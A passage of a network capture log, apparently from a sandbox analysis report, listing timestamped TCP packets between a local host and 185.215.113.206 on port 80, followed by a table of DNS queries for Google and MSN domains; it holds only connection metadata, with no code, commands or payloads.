Oct 29, 2024 02:46:45.584686041 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584693909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584700108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584707022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584718943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584718943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584731102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584742069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584743023 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584754944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584767103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584768057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584779978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584783077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584796906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584809065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584810019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584820986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584832907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584836006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584847927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584856033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584860086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584866047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584873915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584883928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.584893942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.584919930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585248947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585261106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585287094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585300922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585304022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585314035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585325956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585338116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585349083 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585350037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585362911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585376978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585390091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585392952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585407019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585417032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585417986 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585427999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585431099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585443020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585449934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585455894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585469007 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585469961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585483074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585493088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585498095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585505009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585516930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585522890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585524082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585531950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585544109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585556984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585556984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585568905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.585571051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585571051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585597038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585618019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.585973978 CET	443	49946	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:45.586189032 CET	443	49946	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:45.586276054 CET	49946	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:45.587932110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.587944984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.587954044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.587968111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.587979078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.587980032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.587991953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588001966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588005066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588017941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588027954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588037014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588047981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588052034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588064909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588069916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588079929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588083982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588095903 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588107109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588108063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588119030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588131905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588135958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588144064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588160038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588162899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588171005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588172913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588186026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588197947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588200092 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588210106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588227034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588238001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588244915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588248968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588257074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588268042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588279963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588285923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588291883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588301897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588304996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588316917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588318110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588330984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588340998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588344097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588356972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588366985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588368893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588380098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588382006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588402033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588408947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588413954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588428974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588435888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588442087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588448048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588453054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588464975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588471889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588476896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588485956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588490009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588504076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588512897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588515043 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588525057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588526964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588536978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588548899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588557005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588562012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588574886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588583946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588593960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588593960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588608027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588618994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588625908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588630915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588639021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588644028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588658094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588669062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588679075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588680029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588694096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588702917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588704109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588713884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588723898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588735104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588740110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588747978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588752985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588768005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588781118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588783026 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588792086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588804007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588809013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588815928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588828087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588833094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588836908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588850021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588855982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588861942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588872910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588876009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588882923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588885069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588897943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588913918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588915110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588929892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588937998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588942051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588952065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588954926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588968039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588979006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.588980913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.588994980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589004993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589006901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589015961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589020014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589030981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589042902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589046001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589055061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589066982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589072943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589073896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589078903 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589090109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589093924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589102983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589114904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589117050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589127064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589139938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589144945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589159966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589164972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589174032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589178085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589190960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589202881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589206934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589231968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589241982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589243889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589257002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589267969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589278936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589282036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589292049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589303970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589309931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589317083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589318037 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589329004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589340925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589346886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589354038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589366913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589374065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589390039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589406013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589416981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589418888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589431047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589442015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589448929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589457035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589466095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589469910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589498043 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589509010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589565992 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589586020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589596987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589606047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589608908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589621067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589632988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589633942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589644909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589656115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589659929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589668036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589679003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589679003 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589690924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589692116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589704037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589715004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589720964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589726925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589739084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589750051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589761019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589761019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589767933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589772940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589777946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589777946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589788914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589801073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589812040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589819908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589828014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589831114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589839935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589848042 CET	443	49944	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:45.589852095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589859009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589867115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589878082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589883089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589891911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589903116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589911938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589912891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589926004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589926004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589936972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589965105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589965105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.589968920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589982033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.589992046 CET	80	49838	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 02:46:15.728754997 CET	192.168.2.5	1.1.1.1	0x3b9a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:15.728846073 CET	192.168.2.5	1.1.1.1	0xf5d6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:20.344234943 CET	192.168.2.5	1.1.1.1	0xdb98	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:20.344548941 CET	192.168.2.5	1.1.1.1	0x6dc1	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:21.323616982 CET	192.168.2.5	1.1.1.1	0xca7f	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:21.323848963 CET	192.168.2.5	1.1.1.1	0x45e6	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:28.800107956 CET	192.168.2.5	1.1.1.1	0xfea0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:28.800472021 CET	192.168.2.5	1.1.1.1	0xafee	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:30.264398098 CET	192.168.2.5	1.1.1.1	0x6e6c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:30.264625072 CET	192.168.2.5	1.1.1.1	0xdad0	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 29, 2024 02:46:31.553211927 CET	192.168.2.5	1.1.1.1	0xe54c	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:31.553352118 CET	192.168.2.5	1.1.1.1	0x363a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:32.216942072 CET	192.168.2.5	1.1.1.1	0xdd5a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.217161894 CET	192.168.2.5	1.1.1.1	0x94cb	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:32.229125023 CET	192.168.2.5	1.1.1.1	0xb51a	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.229332924 CET	192.168.2.5	1.1.1.1	0x3e85	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:32.229823112 CET	192.168.2.5	1.1.1.1	0x28e3	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
